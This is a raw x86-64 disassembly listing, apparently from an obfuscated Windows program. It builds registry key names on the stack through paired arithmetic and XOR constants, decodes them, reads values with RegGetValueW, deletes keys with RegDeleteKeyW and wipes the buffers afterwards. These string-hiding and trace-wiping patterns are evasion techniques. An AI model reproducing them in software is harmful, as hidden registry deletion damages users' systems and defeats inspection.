mov dword [rbp + 0x702], 0x749d8c48
add dword [rbp + 0x702], 0x8af2731a
mov dword [rbp + 0x706], 0x474683f6
add dword [rbp + 0x706], 0xb8607bbb
mov dword [rbp + 0x65e], 0x57b11dc0
xor dword [rbp + 0x65e], 0xe90fa37e
mov dword [rbp + 0x70a], 0xe8e0af
xor dword [rbp + 0x70a], 0xff5c1f08
mov dword [rbp + 0x70e], 0x13faa10d
add dword [rbp + 0x70e], 0xeb685ea3
mov dword [rbp + 0x662], 0x4226418e
add dword [rbp + 0x662], 0x7c987d30
mov dword [rbp + 0x712], 0x4a34586a
xor dword [rbp + 0x712], 0xb597a7f3
mov dword [rbp + 0x716], 0x526f9d5a
add dword [rbp + 0x716], 0xad39625a
mov word [rbp + 0x666], 0x2696
add word [rbp + 0x666], 0x9828
mov dword [rbp + 0x71a], 0x605962a9
add dword [rbp + 0x71a], 0x9f5b9cfa
mov byte [rbp + 0x668], 3
add byte [rbp + 0x668], 0xbb
mov dword [rbp + 0x71e], 0x22d17b95
xor dword [rbp + 0x71e], 0x22d18432
mov rdx, rbx
nop word [rax + rax]
movzx ecx, word [rbp + rdx*2 + 0x66a]
movzx eax, byte [rbp + rdx + 0x60e]
add ax, cx
mov word [rbp + rdx*2 + 0x66a], ax
mov byte [rbp + rdx + 0x60e], 0x62
xor byte [rbp + rdx + 0x60e], 0x62
inc rdx
cmp rdx, 0x5b
jb 0x14008fe61
lea rax, [rbp + 0x2740]
xchg rbp, rax
mov qword [rsp + 0x30], rbp
xchg rbp, rax
lea rax, [rbp + 0x1290]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2748]
mov qword [rsp + 0x20], rax
mov r9d, 0x740ac70
sub r9d, 0x740ac6e
lea r8, [rbp + 0x20e]
lea rdx, [rbp + 0x66a]
nop
movabs rcx, 0xffffffff407ad788
add rcx, 0x3f85287a
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
sete cl
xchg rsi, rax
mov rsi, rbx
xchg rsi, rax
nop dword [rax]
mov byte [rbp + rax + 0x66a], 0x5c
xor byte [rbp + rax + 0x66a], 0x5c
inc rax
cmp rax, 0xb6
jb 0x14008ff07
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop word [rax + rax]
mov byte [rbp + rax + 0x20e], 2
sub byte [rbp + rax + 0x20e], 2
inc rax
cmp rax, 0x1e
jb 0x14008ff37
test cl, cl
je 0x14008ff90
lea rdx, [rbp + 0x1290]
lea rcx, [rbp + 0xc20]
call fcn.14002b490
nop
lea rdx, [rbp + 0xc20]
lea rcx, [rbp + 0xb80]
call fcn.14007a010
nop
lea rcx, [rbp + 0xc20]
call fcn.14000f270
mov dword [rbp + 0x890], 0x24a2ee21
xor dword [rbp + 0x890], 0x24a2ee20
mov dword [rbp + 0x894], 0x243591d7
xor dword [rbp + 0x894], 0x243593df
mov dword [rbp + 0x1ce], 0x656af339
xor dword [rbp + 0x1ce], 0xdbd44d87
mov dword [rbp + 0x1de], 0x9ea1d76
xor dword [rbp + 0x1de], 0xf65ae2fd
mov dword [rbp + 0x1e2], 0x5390745
xor dword [rbp + 0x1e2], 0xfa8ff8f0
mov dword [rbp + 0x1d2], 0x4b900297
xor dword [rbp + 0x1d2], 0xf52ebc29
mov dword [rbp + 0x1e6], 0x9bec4a4
xor dword [rbp + 0x1e6], 0xf6103b07
mov dword [rbp + 0x1ea], 0x3dfdd0eb
add dword [rbp + 0x1ea], 0xc1912ec3
mov dword [rbp + 0x1d6], 0xee706d9
xor dword [rbp + 0x1d6], 0xb059b867
mov dword [rbp + 0x1ee], 0x58c42e58
add dword [rbp + 0x1ee], 0xa6e1d159
mov dword [rbp + 0x1f2], 0x72d0fb66
add dword [rbp + 0x1f2], 0x8ce6043d
mov word [rbp + 0x1da], 0x5e49
add word [rbp + 0x1da], 0x6075
mov dword [rbp + 0x1f6], 0x7eb42b69
xor dword [rbp + 0x1f6], 0x8105d4c2
mov byte [rbp + 0x1dc], 0x45
add byte [rbp + 0x1dc], 0x79
mov dword [rbp + 0x1fa], 0x1eb34ca8
sub dword [rbp + 0x1fa], 0x1eb24cf8
xchg rbx, rdx
mov rbx, rdx
xchg rbx, rdx
nop
movzx ecx, word [rbp + rdx*2 + 0x1de]
movzx eax, byte [rbp + rdx + 0x1ce]
add ax, cx
mov word [rbp + rdx*2 + 0x1de], ax
mov byte [rbp + rdx + 0x1ce], 0x2c
xor byte [rbp + rdx + 0x1ce], 0x2c
inc rdx
cmp rdx, 0xf
jb 0x1400900bf
mov dword [rbp + 0x50c], 0x4dd7a653
xor dword [rbp + 0x50c], 0xf36918ed
mov dword [rbp + 0x562], 0x3a2f3bdd
xor dword [rbp + 0x562], 0xc5bec448
mov dword [rbp + 0x566], 0x4622a19b
xor dword [rbp + 0x566], 0xb9b45e13
mov dword [rbp + 0x510], 0x1bbe5e34
add dword [rbp + 0x510], 0xa300608a
mov dword [rbp + 0x56a], 0x6a2fbe4b
add dword [rbp + 0x56a], 0x9554414e
mov dword [rbp + 0x56e], 0x2fc8e538
xor dword [rbp + 0x56e], 0xd04f1aac
mov dword [rbp + 0x514], 0x63ddebf9
add dword [rbp + 0x514], 0x5ae0d2c5
mov dword [rbp + 0x572], 0x5cd3e52e
xor dword [rbp + 0x572], 0xa34a1ab0
mov dword [rbp + 0x576], 0x544d9320
add dword [rbp + 0x576], 0xab4c6c71
mov dword [rbp + 0x518], 0x3fa611ca
add dword [rbp + 0x518], 0x7f18acf4
mov dword [rbp + 0x57a], 0x12ae284f
add dword [rbp + 0x57a], 0xecc8d729
mov dword [rbp + 0x57e], 0x57563aa1
xor dword [rbp + 0x57e], 0xa822c5d4
mov dword [rbp + 0x51c], 0x7b75e9e2
add dword [rbp + 0x51c], 0x4348d4dc
mov dword [rbp + 0x582], 0x636bf222
add dword [rbp + 0x582], 0x9c460d6e
mov dword [rbp + 0x586], 0x70d19ca6
add dword [rbp + 0x586], 0x8ed66300
mov dword [rbp + 0x520], 0x71c9727a
add dword [rbp + 0x520], 0x4cf54c44
mov dword [rbp + 0x58a], 0x5cabbdde
add dword [rbp + 0x58a], 0xa2e441c0
mov dword [rbp + 0x58e], 0x70262a97
add dword [rbp + 0x58e], 0x8f7fd514
mov dword [rbp + 0x524], 0x54b7cafb
add dword [rbp + 0x524], 0x6a06f3c3
mov dword [rbp + 0x592], 0x12a18cbd
add dword [rbp + 0x592], 0xed1072f7
mov dword [rbp + 0x596], 0x57129d32
xor dword [rbp + 0x596], 0xa8a36287
mov dword [rbp + 0x528], 0x741a72ee
add dword [rbp + 0x528], 0x4aa44bd0
mov dword [rbp + 0x59a], 0x4eeb4631
xor dword [rbp + 0x59a], 0xb15db999
mov dword [rbp + 0x59e], 0x622009df
add dword [rbp + 0x59e], 0x9d79f5bf
mov dword [rbp + 0x52c], 0x41df6779
add dword [rbp + 0x52c], 0x7cdf5745
mov dword [rbp + 0x5a2], 0x4ae44729
add dword [rbp + 0x5a2], 0xb4ccb882
mov dword [rbp + 0x5a6], 0x2138fa80
xor dword [rbp + 0x5a6], 0xde890526
mov dword [rbp + 0x530], 0x5a7728a0
add dword [rbp + 0x530], 0x6447961e
mov dword [rbp + 0x5aa], 0xd12413b
add dword [rbp + 0x5aa], 0xf2a3be7e
mov dword [rbp + 0x5ae], 0x694d343c
add dword [rbp + 0x5ae], 0x9638cb62
mov dword [rbp + 0x534], 0x19ea9cd7
add dword [rbp + 0x534], 0xa4d421e7
mov dword [rbp + 0x5b2], 0x4a70339c
add dword [rbp + 0x5b2], 0xb544cc1b
mov dword [rbp + 0x5b6], 0x1c5dec85
add dword [rbp + 0x5b6], 0xe34a132f
mov dword [rbp + 0x538], 0xff9d6d0
xor dword [rbp + 0x538], 0xb147686e
mov dword [rbp + 0x5ba], 0x2effec3f
add dword [rbp + 0x5ba], 0xd0b71371
mov dword [rbp + 0x5be], 0x2acb3f22
add dword [rbp + 0x5be], 0xd4dcc076
mov dword [rbp + 0x53c], 0x35cd2b0a
xor dword [rbp + 0x53c], 0x8b7395b4
mov dword [rbp + 0x5c2], 0x5ff04c53
add dword [rbp + 0x5c2], 0x9fc5b361
mov dword [rbp + 0x5c6], 0x103991cd
add dword [rbp + 0x5c6], 0xef786dde
mov dword [rbp + 0x540], 0x2272cb03
xor dword [rbp + 0x540], 0x9ccc75bd
mov dword [rbp + 0x5ca], 0x575bc4a3
xor dword [rbp + 0x5ca], 0xa8c53b13
mov dword [rbp + 0x5ce], 0xd2712f7
xor dword [rbp + 0x5ce], 0xf297ed60
mov dword [rbp + 0x544], 0x71b8c4e2
xor dword [rbp + 0x544], 0xcf067a5c
mov dword [rbp + 0x5d2], 0x72204ce5
xor dword [rbp + 0x5d2], 0x8d90b34e
mov dword [rbp + 0x5d6], 0x2784280d
add dword [rbp + 0x5d6], 0xd832d7a8
mov dword [rbp + 0x548], 0x19e1d641
add dword [rbp + 0x548], 0xa4dce87d
mov dword [rbp + 0x5da], 0x29e7ddd8
add dword [rbp + 0x5da], 0xd5c721cb
mov dword [rbp + 0x5de], 0x2bb28029
add dword [rbp + 0x5de], 0xd3ec7f85
mov dword [rbp + 0x54c], 0xc42c1f2
add dword [rbp + 0x54c], 0xb27bfccc
mov dword [rbp + 0x5e2], 0x225a0bb0
add dword [rbp + 0x5e2], 0xdd49f3d5
mov dword [rbp + 0x5e6], 0x6d559dd7
add dword [rbp + 0x5e6], 0x925961d7
mov dword [rbp + 0x550], 0x5858283c
add dword [rbp + 0x550], 0x66669682
mov dword [rbp + 0x5ea], 0x6a19215d
add dword [rbp + 0x5ea], 0x9598de05
mov dword [rbp + 0x5ee], 0x5b8aad4a
add dword [rbp + 0x5ee], 0xa3d8525e
mov dword [rbp + 0x554], 0x161fd0eb
add dword [rbp + 0x554], 0xa89eedd3
mov dword [rbp + 0x5f2], 0x394a0fca
xor dword [rbp + 0x5f2], 0xc6fdf04c
mov dword [rbp + 0x5f6], 0x265e5fa5
xor dword [rbp + 0x5f6], 0xd9e5a013
mov dword [rbp + 0x558], 0x354b0e74
add dword [rbp + 0x558], 0x8973b04a
mov dword [rbp + 0x5fa], 0x3f90d0cc
xor dword [rbp + 0x5fa], 0xc0082fae
mov dword [rbp + 0x5fe], 0x3bd9ed5c
add dword [rbp + 0x5fe], 0xc3d71247
mov dword [rbp + 0x55c], 0x2a4f50ec
add dword [rbp + 0x55c], 0x946f6dd2
mov dword [rbp + 0x602], 0x3a5e733e
add dword [rbp + 0x602], 0xc5598c6b
mov dword [rbp + 0x606], 0x1bfdf771
add dword [rbp + 0x606], 0xe3b70832
mov byte [rbp + 0x560], 0x17
add byte [rbp + 0x560], 0xa7
mov dword [rbp + 0x60a], 0x4e5674a0
xor dword [rbp + 0x60a], 0x4e568b06
xchg r10, rbx
mov rdx, r10
xchg r10, rbx
nop word [rax + rax]
movzx ecx, word [rbp + rdx*2 + 0x562]
movzx eax, byte [rbp + rdx + 0x50c]
add ax, cx
mov word [rbp + rdx*2 + 0x562], ax
mov byte [rbp + rdx + 0x50c], 0x10
xor byte [rbp + rdx + 0x50c], 0x10
inc rdx
cmp rdx, 0x55
jb 0x140090618
lea rax, [rbp + 0x894]
xchg rbx, rax
mov qword [rsp + 0x30], rbx
xchg rbx, rax
lea rax, [rbp + 0x14a0]
xchg r10, rax
mov qword [rsp + 0x28], r10
xchg r10, rax
lea rax, [rbp + 0x890]
mov qword [rsp + 0x20], rax
mov r9d, 0x256dd772
xor r9d, 0x256dd770
lea r8, [rbp + 0x1de]
lea rdx, [rbp + 0x562]
nop
movabs rcx, 0xffffffff3ec11ed6
add rcx, 0x413ee12c
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
sete cl
mov rax, rbx
nop dword [rax]
mov byte [rbp + rax + 0x562], 0x4a
sub byte [rbp + rax + 0x562], 0x4a
inc rax
cmp rax, 0xaa
jb 0x1400906be
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop word [rax + rax]
mov byte [rbp + rax + 0x1de], 0x43
sub byte [rbp + rax + 0x1de], 0x43
inc rax
cmp rax, 0x1e
jb 0x1400906ee
test cl, cl
je 0x140090747
lea rdx, [rbp + 0x14a0]
lea rcx, [rbp + 0xc80]
call fcn.14002b490
nop
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0xb80]
call fcn.14007a010
nop
lea rcx, [rbp + 0xc80]
call fcn.14000f270
mov qword [rbp + 0xc18], rbx
lea rax, [0x140002bc0]
mov qword [rbp + 0xb98], rax
lea rax, [rbp + 0xbe0]
mov qword [rbp + 0xba0], rax
lea rax, [rbp + 0xb98]
mov qword [rbp + 0xbd0], rax
xchg r12, rbx
mov qword [rbp + 0xc78], r12
xchg r12, rbx
lea rdx, [rbp + 0xb98]
lea rcx, [rbp + 0xc40]
call fcn.1400a2170
lea rdx, [rbp + 0xbe0]
lea rcx, [rbp + 0xb98]
call fcn.1400a2170
lea rdx, [rbp + 0xc40]
lea rcx, [rbp + 0xbe0]
call fcn.1400a2170
mov rcx, qword [rbp + 0xc78]
test rcx, rcx
je 0x1400907f8
mov rax, qword [rcx]
xchg r12, r8
mov r12, qword [rax + 0x20]
xchg r8, r12
lea rax, [rbp + 0xc40]
cmp rcx, rax
setne dl
call r8
xchg r15, rbx
mov qword [rbp + 0xc78], r15
xchg rbx, r15
mov rcx, qword [rbp + 0xbd0]
test rcx, rcx
je 0x14009082c
mov rax, qword [rcx]
xchg rdx, r8
mov rdx, qword [rax + 0x20]
xchg r8, rdx
lea rax, [rbp + 0xb98]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0xbd0], rbx
mov dword [rbp + 0x22e], 0x5f22c634
xor dword [rbp + 0x22e], 0xe19c788a
mov dword [rbp + 0x244], 0xacbaa42
add dword [rbp + 0x244], 0xf4d05553
mov dword [rbp + 0x248], 0x3f03fdca
add dword [rbp + 0x248], 0xc09301cb
mov dword [rbp + 0x232], 0x67cacb30
add dword [rbp + 0x232], 0x56f3f38e
mov dword [rbp + 0x24c], 0x113f5aba
add dword [rbp + 0x24c], 0xee50a4cd
mov dword [rbp + 0x250], 0x1125d6da
add dword [rbp + 0x250], 0xee6a28c4
mov dword [rbp + 0x236], 0x7551dbd9
xor dword [rbp + 0x236], 0xcbef6567
mov dword [rbp + 0x254], 0x7216b619
add dword [rbp + 0x254], 0x8da14998
mov dword [rbp + 0x258], 0x1a44ad1b
xor dword [rbp + 0x258], 0xe5f252ab
mov dword [rbp + 0x23a], 0x273e0f5f
add dword [rbp + 0x23a], 0x9780af5f
mov dword [rbp + 0x25c], 0x646b3737
xor dword [rbp + 0x25c], 0x9bcdc890
mov dword [rbp + 0x260], 0x33c0b732
add dword [rbp + 0x260], 0xcbe74854
mov dword [rbp + 0x23e], 0x2110edcf
add dword [rbp + 0x23e], 0x9dadd0ef
mov dword [rbp + 0x264], 0x2f6853cc
add dword [rbp + 0x264], 0xd043abec
mov dword [rbp + 0x268], 0x6b15012b
add dword [rbp + 0x268], 0x9492fe7a
mov byte [rbp + 0x242], 0x34
xor byte [rbp + 0x242], 0x8a
mov dword [rbp + 0x26c], 0x11d8246d
sub dword [rbp + 0x26c], 0x11d724b8
xchg rdx, r15
mov r15, rbx
xchg r15, rdx
nop dword [rax + rax]
movzx ecx, word [rbp + rdx*2 + 0x244]
movzx eax, byte [rbp + rdx + 0x22e]
add ax, cx
mov word [rbp + rdx*2 + 0x244], ax
mov byte [rbp + rdx + 0x22e], 0x30
xor byte [rbp + rdx + 0x22e], 0x30
inc rdx
cmp rdx, 0x15
jb 0x14009098b
lea rdx, [rbp + 0x244]
nop
movabs rcx, 0xffffffff4e9c71d0
add rcx, 0x31638e32
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xchg rcx, rax
mov rcx, rbx
xchg rcx, rax
nop dword [rax]
nop word [rax + rax]
mov byte [rbp + rax + 0x244], 0x5d
xor byte [rbp + rax + 0x244], 0x5d
inc rax
cmp rax, 0x2a
jb 0x1400909f6
mov dword [rbp + 0x454], 0x6d4853a2
add dword [rbp + 0x454], 0x51766b1c
mov dword [rbp + 0x492], 0x171193f6
add dword [rbp + 0x492], 0xe8806b9f
mov dword [rbp + 0x496], 0x4f52109f
add dword [rbp + 0x496], 0xb044eee9
mov dword [rbp + 0x458], 0x74044d24
xor dword [rbp + 0x458], 0xcabaf39a
mov dword [rbp + 0x49a], 0x2cb9fc75
xor dword [rbp + 0x49a], 0xd33a03ec
mov dword [rbp + 0x49e], 0x70e7b882
add dword [rbp + 0x49e], 0x8ea04712
mov dword [rbp + 0x45c], 0x606e299e
add dword [rbp + 0x45c], 0x5e509520
mov dword [rbp + 0x4a2], 0x61c46e8f
xor dword [rbp + 0x4a2], 0x9e4b9111
mov dword [rbp + 0x4a6], 0x7ecb1577
add dword [rbp + 0x4a6], 0x80daea34
mov dword [rbp + 0x460], 0x14c773cd
xor dword [rbp + 0x460], 0xaa79cd73
mov dword [rbp + 0x4aa], 0xc993b45
xor dword [rbp + 0x4aa], 0xf328c4f1
mov dword [rbp + 0x4ae], 0x5a32fde9
add dword [rbp + 0x4ae], 0xa57f01cc
mov dword [rbp + 0x464], 0x4d2bf9a6
add dword [rbp + 0x464], 0x7192c518
mov dword [rbp + 0x4b2], 0x608491db
xor dword [rbp + 0x4b2], 0x9f326e73
mov dword [rbp + 0x4b6], 0x25959521
add dword [rbp + 0x4b6], 0xda046a7d
mov dword [rbp + 0x468], 0x5f1d1043
add dword [rbp + 0x468], 0x5fa1ae7b
mov dword [rbp + 0x4ba], 0x5825d1fd
add dword [rbp + 0x4ba], 0xa78b2dae
mov dword [rbp + 0x4be], 0x3b84fa13
add dword [rbp + 0x4be], 0xc42d0593
mov dword [rbp + 0x46c], 0x7d77264d
add dword [rbp + 0x46c], 0x41479871
mov dword [rbp + 0x4c2], 0x2a1f71b7
add dword [rbp + 0x4c2], 0xd5968e02
mov dword [rbp + 0x4c6], 0x26275169
xor dword [rbp + 0x4c6], 0xd9a2aef7
mov dword [rbp + 0x470], 0x4ba4e0f8
add dword [rbp + 0x470], 0x7319ddc6
mov dword [rbp + 0x4ca], 0x6be3263c
add dword [rbp + 0x4ca], 0x93d1d97b
mov dword [rbp + 0x4ce], 0xdeb2109
add dword [rbp + 0x4ce], 0xf1bcdeab
mov dword [rbp + 0x474], 0x2bb80953
add dword [rbp + 0x474], 0x9306b56b
mov dword [rbp + 0x4d2], 0x78f03e2
add dword [rbp + 0x4d2], 0xf827fbce
mov dword [rbp + 0x4d6], 0x4147d0a5
add dword [rbp + 0x4d6], 0xbe602ef3
mov dword [rbp + 0x478], 0x513d7949
xor dword [rbp + 0x478], 0xef83c7f7
mov dword [rbp + 0x4da], 0x6ebdd6e3
xor dword [rbp + 0x4da], 0x91082957
mov dword [rbp + 0x4de], 0x5018b5d9
add dword [rbp + 0x4de], 0xaf9949d2
mov dword [rbp + 0x47c], 0x29b6c899
add dword [rbp + 0x47c], 0x9507f625
mov dword [rbp + 0x4e2], 0x470a3e47
xor dword [rbp + 0x4e2], 0xb894c1f7
mov dword [rbp + 0x4e6], 0x1f4e08f8
add dword [rbp + 0x4e6], 0xe06cf68f
mov dword [rbp + 0x480], 0x301d4711
add dword [rbp + 0x480], 0x8ea177ad
mov dword [rbp + 0x4ea], 0x3788367
add dword [rbp + 0x4ea], 0xfc367c4b
mov dword [rbp + 0x4ee], 0x7f3f7a27
xor dword [rbp + 0x4ee], 0x808b8596
mov dword [rbp + 0x484], 0x6d94e2cb
add dword [rbp + 0x484], 0x5129dbf3
mov dword [rbp + 0x4f2], 0x34feebe2
add dword [rbp + 0x4f2], 0xcab613c5
mov dword [rbp + 0x4f6], 0x2e12f7b3
add dword [rbp + 0x4f6], 0xd17207eb
mov dword [rbp + 0x488], 0x5196a81e
add dword [rbp + 0x488], 0x6d2816a0
mov dword [rbp + 0x4fa], 0x2af9a3ae
add dword [rbp + 0x4fa], 0xd4bd5bfd
mov dword [rbp + 0x4fe], 0x2b36b601
xor dword [rbp + 0x4fe], 0xd4814985
mov dword [rbp + 0x48c], 0x25d799f6
add dword [rbp + 0x48c], 0x98e724c8
mov dword [rbp + 0x502], 0x9b9d8b7
add dword [rbp + 0x502], 0xf5f426ee
mov dword [rbp + 0x506], 0x5425f4
add dword [rbp + 0x506], 0xff62d9b3
xor eax, eax
mov word [rbp + 0x50a], ax
xchg rbp, rbx
mov rdx, rbp
xchg rbx, rbp
nop
movzx ecx, word [rbp + rdx*2 + 0x492]
movzx eax, byte [rbp + rdx + 0x454]
add ax, cx
mov word [rbp + rdx*2 + 0x492], ax
mov byte [rbp + rdx + 0x454], 0x5d
sub byte [rbp + rdx + 0x454], 0x5d
inc rdx
cmp rdx, 0x3c
jb 0x140090daa
lea rax, [rbp + 0x492]
xchg r10, rax
mov qword [rbp + 0xb90], r10
xchg r10, rax
mov dword [rbp + 0xb7c], 0xffffffff
mov dword [rbp + 0xb78], 0x7833e0c1
add qword [rbp + 0xb78], 0x7fffffff
sub qword [rbp + 0xb78], 0x7833e0bf
mov rcx, qword [rbp + 0xc18]
test rcx, rcx
je 0x140091b08
mov rax, qword [rcx]
xchg r9, rsi
mov rsi, qword [rax + 0x10]
xchg rsi, r9
lea r8, [rbp + 0xb90]
lea rdx, [rbp + 0xb78]
call r9
nop
xchg r10, rbx
mov rax, r10
xchg rbx, r10
mov byte [rbp + rax + 0x492], 0x2a
xor byte [rbp + rax + 0x492], 0x2a
inc rax
cmp rax, 0x78
jb 0x140090e56
mov dword [rbp + 0x394], 0x58d12b13
xor dword [rbp + 0x394], 0xe66f95ad
mov dword [rbp + 0x3d4], 0x71ab665a
xor dword [rbp + 0x3d4], 0x8e1a99cf
mov dword [rbp + 0x3d8], 0x55c024f3
add dword [rbp + 0x3d8], 0xa9f6dab5
mov dword [rbp + 0x398], 0x5b6c4a85
add dword [rbp + 0x398], 0x63527439
mov dword [rbp + 0x3dc], 0x3b84044a
add dword [rbp + 0x3dc], 0xc41ffb6f
mov dword [rbp + 0x3e0], 0x5b601974
add dword [rbp + 0x3e0], 0xa447e640
mov dword [rbp + 0x39c], 0x59e2bcfc
add dword [rbp + 0x39c], 0x64dc01c2
mov dword [rbp + 0x3e4], 0x2bed2849
add dword [rbp + 0x3e4], 0xd3a2d755
mov dword [rbp + 0x3e8], 0x61c17557
add dword [rbp + 0x3e8], 0x9de48a54
mov dword [rbp + 0x3a0], 0xb999108
add dword [rbp + 0x3a0], 0xb3252db6
mov dword [rbp + 0x3ec], 0x2beb0d06
add dword [rbp + 0x3ec], 0xd3c6f2ae
mov dword [rbp + 0x3f0], 0x3f1eeedf
add dword [rbp + 0x3f0], 0xc09310d6
mov dword [rbp + 0x3a4], 0x5628018
add dword [rbp + 0x3a4], 0xb95c3ea6
mov dword [rbp + 0x3f4], 0x559cb1e6
add dword [rbp + 0x3f4], 0xaa1a4dc2
mov dword [rbp + 0x3f8], 0x5bba45a7
add dword [rbp + 0x3f8], 0xa3dfb9f7
mov dword [rbp + 0x3a8], 0x678801f7
add dword [rbp + 0x3a8], 0x5736bcc7
mov dword [rbp + 0x3fc], 0x1c5a9194
add dword [rbp + 0x3fc], 0xe3566e17
mov dword [rbp + 0x400], 0x514d64b
add dword [rbp + 0x400], 0xfa9d295b
mov dword [rbp + 0x3ac], 0x273ffda5
xor dword [rbp + 0x3ac], 0x9981431b
mov dword [rbp + 0x404], 0x42454c9c
add dword [rbp + 0x404], 0xbd70b31d
mov dword [rbp + 0x408], 0x1cc7963c
xor dword [rbp + 0x408], 0xe34269a2
mov dword [rbp + 0x3b0], 0x50a26ca4
xor dword [rbp + 0x3b0], 0xee1cd21a
mov dword [rbp + 0x40c], 0x75972997
add dword [rbp + 0x40c], 0x8a1dd620
mov dword [rbp + 0x410], 0x4e178c76
add dword [rbp + 0x410], 0xb190733e
mov dword [rbp + 0x3b4], 0x2288c146
add dword [rbp + 0x3b4], 0x9c35fd78
mov dword [rbp + 0x414], 0x63bc0deb
add dword [rbp + 0x414], 0x9bfaf1c5
mov dword [rbp + 0x418], 0x7c678c73
xor dword [rbp + 0x418], 0x83c073eb
mov dword [rbp + 0x3b8], 0x3f889b33
add dword [rbp + 0x3b8], 0x7f36238b
mov dword [rbp + 0x41c], 0x32bfe8ef
xor dword [rbp + 0x41c], 0xcd0a175b
mov dword [rbp + 0x420], 0x5419448e
add dword [rbp + 0x420], 0xab98bb1d
mov dword [rbp + 0x3bc], 0x468f8488
add dword [rbp + 0x3bc], 0x782f3a36
mov dword [rbp + 0x424], 0x32ce1ec5
add dword [rbp + 0x424], 0xccd0e0eb
mov dword [rbp + 0x428], 0x24b1eabf
add dword [rbp + 0x428], 0xdb0914c8
mov dword [rbp + 0x3c0], 0x326e2d5
add dword [rbp + 0x3c0], 0xbb97dbe9
mov dword [rbp + 0x42c], 0x2a2fd22b
add dword [rbp + 0x42c], 0xd57f2d87
mov dword [rbp + 0x430], 0x6c783757
xor dword [rbp + 0x430], 0x93ccc8e6
mov dword [rbp + 0x3c4], 0x4894c534
xor dword [rbp + 0x3c4], 0xf62a7b8a
mov dword [rbp + 0x434], 0xfdf5ad5
add dword [rbp + 0x434], 0xefd5a4d2
mov dword [rbp + 0x438], 0x741cbff1
xor dword [rbp + 0x438], 0x8b93406f
mov dword [rbp + 0x3c8], 0xed06b48
add dword [rbp + 0x3c8], 0xafee5376
mov dword [rbp + 0x43c], 0x537c0e1a
add dword [rbp + 0x43c], 0xac3bf197
mov dword [rbp + 0x440], 0x63b251b5
add dword [rbp + 0x440], 0x9c04adfb
mov dword [rbp + 0x3cc], 0x1ebaeded
add dword [rbp + 0x3cc], 0xa003d0d1
mov dword [rbp + 0x444], 0x1f76b6c3
add dword [rbp + 0x444], 0xe03b48cf
mov dword [rbp + 0x448], 0x68b5e261
xor dword [rbp + 0x448], 0x97051dca
mov word [rbp + 0x3d0], 0x6472
add word [rbp + 0x3d0], 0x5a4c
mov dword [rbp + 0x44c], 0x1ebc7926
add dword [rbp + 0x44c], 0xe0f98690
mov byte [rbp + 0x3d2], 0x62
add byte [rbp + 0x3d2], 0x5c
mov dword [rbp + 0x450], 0x3db81375
sub dword [rbp + 0x450], 0x3db71401
xchg r9, rbx
mov rdx, r9
xchg rbx, r9
nop dword [rax + rax]
movzx ecx, word [rbp + rdx*2 + 0x3d4]
movzx eax, byte [rbp + rdx + 0x394]
add ax, cx
mov word [rbp + rdx*2 + 0x3d4], ax
mov byte [rbp + rdx + 0x394], 0x59
sub byte [rbp + rdx + 0x394], 0x59
inc rdx
cmp rdx, 0x3f
jb 0x14009124d
lea rdx, [rbp + 0x3d4]
nop
movabs rcx, 0xffffffff246973f7
add rcx, 0x7fffffff
xor rcx, 0x246973f4
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop dword [rax]
nop word [rax + rax]
mov byte [rbp + rax + 0x3d4], 0x1f
sub byte [rbp + rax + 0x3d4], 0x1f
inc rax
cmp rax, 0x7e
jb 0x1400912bf
mov dword [rbp + 0x32a], 0x5e736632
add dword [rbp + 0x32a], 0x604b588c
mov dword [rbp + 0x34e], 0x60b07c47
xor dword [rbp + 0x34e], 0x9f2183d2
mov dword [rbp + 0x352], 0x717ee5d3
xor dword [rbp + 0x352], 0x8ee81a5b
mov dword [rbp + 0x32e], 0x1a521a84
xor dword [rbp + 0x32e], 0xa4eca43a
mov dword [rbp + 0x356], 0x200b1f7a
xor dword [rbp + 0x356], 0xdf88e0e3
mov dword [rbp + 0x35a], 0x48ee5d05
add dword [rbp + 0x35a], 0xb699a28f
mov dword [rbp + 0x332], 0x304739a4
add dword [rbp + 0x332], 0x8e77851a
mov dword [rbp + 0x35e], 0x502f3e7c
add dword [rbp + 0x35e], 0xaf60c122
mov dword [rbp + 0x362], 0x7e875441
add dword [rbp + 0x362], 0x811eab6a
mov dword [rbp + 0x336], 0x7dacc755
xor dword [rbp + 0x336], 0xc31279eb
mov dword [rbp + 0x366], 0x241524c9
xor dword [rbp + 0x366], 0xdba4db7d
mov dword [rbp + 0x36a], 0x6a21803
add dword [rbp + 0x36a], 0xf90fe7b2
mov dword [rbp + 0x33a], 0x761b875d
xor dword [rbp + 0x33a], 0xc8a539e3
mov dword [rbp + 0x36e], 0x266f2661
add dword [rbp + 0x36e], 0xd947d947
mov dword [rbp + 0x372], 0x2e1443c9
add dword [rbp + 0x372], 0xd172bbd5
mov dword [rbp + 0x33e], 0x2f0c067f
xor dword [rbp + 0x33e], 0x91b2b8c1
mov dword [rbp + 0x376], 0x510d9942
add dword [rbp + 0x376], 0xaea76666
mov dword [rbp + 0x37a], 0x5b88c5f7
add dword [rbp + 0x37a], 0xa41639b2
mov dword [rbp + 0x342], 0x2d6845f2
xor dword [rbp + 0x342], 0x93d6fb4c
mov dword [rbp + 0x37e], 0x561778de
xor dword [rbp + 0x37e], 0xa9a1874b
mov dword [rbp + 0x382], 0x7d4349ae
add dword [rbp + 0x382], 0x8273b5f5
mov dword [rbp + 0x346], 0x160a33e0
add dword [rbp + 0x346], 0xa8b48ade
mov dword [rbp + 0x386], 0x5384f009
add dword [rbp + 0x386], 0xac310fa2
mov dword [rbp + 0x38a], 0x5d874b22
xor dword [rbp + 0x38a], 0xa22cb494
mov word [rbp + 0x34a], 0x24a0
add word [rbp + 0x34a], 0x9a1e
mov dword [rbp + 0x38e], 0x1c1787d1
add dword [rbp + 0x38e], 0xe39e77d4
xor eax, eax
mov word [rbp + 0x392], ax
xchg rbx, rdx
mov rbx, rdx
xchg rdx, rbx
movzx ecx, word [rbp + rdx*2 + 0x34e]
movzx eax, byte [rbp + rdx + 0x32a]
add ax, cx
mov word [rbp + rdx*2 + 0x34e], ax
